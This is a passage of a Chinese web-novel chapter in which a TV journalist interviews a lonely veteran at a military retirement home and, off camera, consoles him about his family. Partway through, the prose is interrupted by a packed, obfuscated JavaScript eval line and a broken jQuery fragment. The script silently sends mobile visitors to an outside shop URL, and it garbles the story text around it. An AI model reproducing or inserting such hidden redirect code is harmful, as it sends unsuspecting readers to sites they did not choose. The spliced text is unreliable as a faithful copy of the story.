昨晚兰曦禾熬了个大夜。
台灯亮到凌晨三点，她把祝老爷子相关能找到的资料翻了个底朝天。
早年履历、参战记录、授勋批次、还有几篇零星的旧报道。
顺带还在婚礼上那位表姐那儿旁敲侧击了几句，拼凑出祝家现在的局面。
祝勋洲和老爷子关系僵着，儿子儿媳想接人回去，老爷子死活不肯，非要一个人扎在军休养老院里。
没一会，负责人就带着一个老年人出现。
老爷子气色很好，脊背挺得笔直，走路带风，一看就是军人底子。
兰曦禾看清楚来人后心里欢快给自己积了个掌。
真赌对了。一个独居在养老院、和家人隔着一层薄冰的老人，最缺的从来不是物质，是一个愿意坐下来好好听他说话的人。
“你好祝老，我是京城电视台的记者，兰曦禾。”她递上记者证，笑容得体，“需要看看采访稿吗？”
祝老爷子笑眯眯地接过来扫了一眼，摆摆手：“采访稿就不看了，你随便问。”
兰曦禾示意张金瑞架机位。
几个人挪进会议厅，祝老爷子坐下，目光在兰曦禾身上停了两秒。
她今天穿了一件灰色衬衫，领口别着台里的话筒夹，袖口露出一截细瘦白皙的手腕。
长发拢在耳后，脸上没化太浓的妆，但眉眼的轮廓干净利落，笑起来的时候眼角有浅浅的弧度。
祝老爷子忽然皱起眉，咦了一声：“小姑娘。”
兰曦禾心头猛地一紧。不是吧？认出来了？知道她是当年跟他孙子从早杠到晚那个？
“你是不是……前两天的晚间新闻，那个什么……步行街的现场连线？”祝老眯着眼回忆，“站在警车后头，风把头发吹得乱七八糟还在播报的那个？”
兰曦禾一口气松下来：“对，是我。您记性真好。”
她暗暗松了口气。
高中那会儿她确实听祝勋洲提过几句爷爷。说他管不着祝勋洲，还让兰曦禾别指望跟他爷爷告状。
那时候她就知道，祝老爷子大概率从不过问孙子的校园生活，那自然也不会知道，自己孙子高中三年有个势如水火的死对头。
祝老爷子笑起来，脸上的皱纹舒展开：“我天天看新闻，就觉得你眼熟。”
张金瑞比了个"OK"的手势，机位就绪。
兰曦禾坐正，声音放柔：“那我们开始了。祝老，您是老军人，参加过战争，现在住在军休养老机构，这些年下来，有什么感想吗？”
祝老爷子轻轻叹了口气。
他打开了话匣子般，从很多很多年前说起。
新兵连的操场上尘土飞扬，他那时候才十六岁，瘦得像根竹竿，扛枪扛得肩膀磨出血。
第一次上战场，炮弹从头顶飞过去的声响，至今午夜梦回还能听见。
后来申请援助中东国家的任务，异域的烈日、陌生的语言…
兰曦禾微笑着点头，偶尔插一句追问。
……
张金瑞在旁边已经快坐不住了。
他偷偷看了眼手表，都快四十分钟，祝老的口干舌燥丝毫没减，兰曦禾的专注也没有半分松动。
他只能硬着头皮继续听着，腿都换了好几个姿势。
祝老爷子话锋忽然一转。
“但是啊……”他声音低下来，激昂慢慢退潮，“我们家，没有人从军。”
兰曦禾的笔尖顿了一下。
“儿子做了生意，孙子搞什么科技……”他摇摇头，目光落在某处虚空里，“我一个老军人，一身勋章，到头来没有一个后辈穿上军装。这成了我最大的遗憾。”
兰曦禾没犹豫站起来，抬手按掉了摄像机的录制键。
张金瑞瞪大眼睛，低声问：“中断了？”
“先出去吧。”兰曦禾转头看他，语气平静，“下午院里还有老年培训班在上课，你去拍几张环境照。”
张金瑞满肚子疑问，但看见兰曦禾笃定的眼神，把话咽了回去，抱着设备退出门。
门关上之后，兰曦禾重新坐下，把椅子往前拉近了一些。
“不好意思祝老，”她声音轻下来，“我觉得您接下来想说的一些心里话，可能不太适合录下来。所以我把摄像机停了。”
祝老爷子看着她，眼底浮起一丝意外，随即变成更深的笑意：“小姑娘，有眼力见。”
但他很快又担忧起来，“我刚才……是不是说得太多了？会不会耽误你采访的进度？”
兰曦禾摇头，认真地看着他：“不会的。您放心把我就当自家人，平时憋着没人说的话，想讲什么都可以跟我讲。”
祝老爷子怔了一下，“哎哟”一声笑了出来，眼角泛了点潮润：“不愧是记者啊，就是会听人说话。”
接下来的时间里，摄像机黑着灯，录音笔也关了。
兰曦禾只是坐在那里，双手搁在膝上，安静地当一个倾听者。
祝老爷子讲了很多。
讲他其实知道不该插手后辈的人生，所以从来没逼过儿子和孙子。
讲他也明白时代不一样了，不能拿自己那套去框年轻人。
讲他偶尔看着电视里那些穿军装的年轻面孔，心里还是会酸一下，那么多年过去了，他还是希望有一个人能沿着他走过的路，再走一遍。
“可就是心里难受啊。”他最后无奈地说了一句，声音轻下去。
兰曦禾听着，喉头忽然有些发紧。
眼前的老人脊背仍然挺直，可肩膀的弧线松了下来，露出岁月压过的痕迹。
她想起自己查到的那些资料，祝老爷子年轻时的照片里，眼神锋利，如今这双眼睛依旧亮，却盛了太多沉甸甸的东西。
兰曦禾弯起嘴角：“祝老，您怎么会没有后辈穿军装呢？”
祝老爷子皱眉，没听懂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913074|213208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“咱们国家现在的千万个军人，都是长辈们的后辈，”兰曦禾说，“军人不分大家小家，他们都穿着那身衣服呢。都可以成为您的延续。”
她顿了一下：“而且，您孙子做的那些机器人，以后说不定能替军人上战场呢。您孙子不也算和军人并肩作战吗？”
祝老爷子眼睛闪过微光：“机器人……还能替人打仗？”
兰曦禾忽然意识到什么，内心疯狂拍自己的嘴。
怎么帮那人说话了？
但她看见祝老眼底那簇忽然燃起来的光，又觉得好像也没那么亏。
算了，也算帮自己。
她拿出手机，搜了几个军用机器人的视频和图片递过去：“您看，现在人工智能发展得很快。如果这些能运用到战场上，很多危险的侦察任务、排爆任务，就不用战士拿命去填了。”
或许是记者职业天然带着的信任背书，又或许是兰曦禾说话时那种不急不躁、句句落地有声的笃定，祝老爷子特别信服兰曦禾的话。
他盯着手机屏幕看了很久，缓缓靠回椅背，对孙子现在所从事的职业似乎没那么大意见了。
“我们那会儿……”祝老爷子轻声说，“要是有这些，就不会死那么多人了。”
他笑了一下，眼角皱纹深深弯进去，里面漾着某种释然。
—
张金瑞在院子里的活动区跟一群大爷下了三盘棋，输了两盘赢了一盘，还被几个老太太围住问“小伙子有没有女朋友”
他正被一个热情的奶奶拉着要加微信，远处兰曦禾推门出来，做了个“收工”的手势。
他几乎是弹射般从椅子上跳起来：“爷爷奶奶们我先走了！”
直到走到门口张金瑞才真正松了那口气。
张金瑞把设备往后备箱放，看着脱马甲的兰曦禾突然好奇起来：“兰姐，你有男朋友？”
兰曦禾拉开车门：“这么八卦？”
“所以是有吗？“张金瑞追着问。
兰曦禾坐进驾驶座，系安全带的动作停了一瞬。
车窗外的夕阳把她的侧脸勾出一道柔和的轮廓线，她开口，声音很平淡：“没有。这辈子不会再相信什么真情实意了。”
张金瑞嗅到了巨大的八卦味道，眼睛发亮：“兰姐，你被情伤过啊？”
兰曦禾拧钥匙发动引擎，偏过头看他一眼，唇角那点弧度既像笑又像警告：“再问自己打车回去。”
张金瑞立刻闭嘴，拉开车门坐好。
车子驶出养老院大门，拐上主路的瞬间，一辆黑色轿车与他们擦肩而过，不紧不慢地拐进了院里。
祝勋洲把车停稳，从后座拎出一箱补品。
他穿过长廊走到爷爷房门口时，隐约听见里面传出来断断续续的哼歌声。
祝老爷子正靠在藤椅里，腿翘着，手里捏着遥控器，脸上挂着松弛的好心情。
晚间新闻正好播到一条社会报道。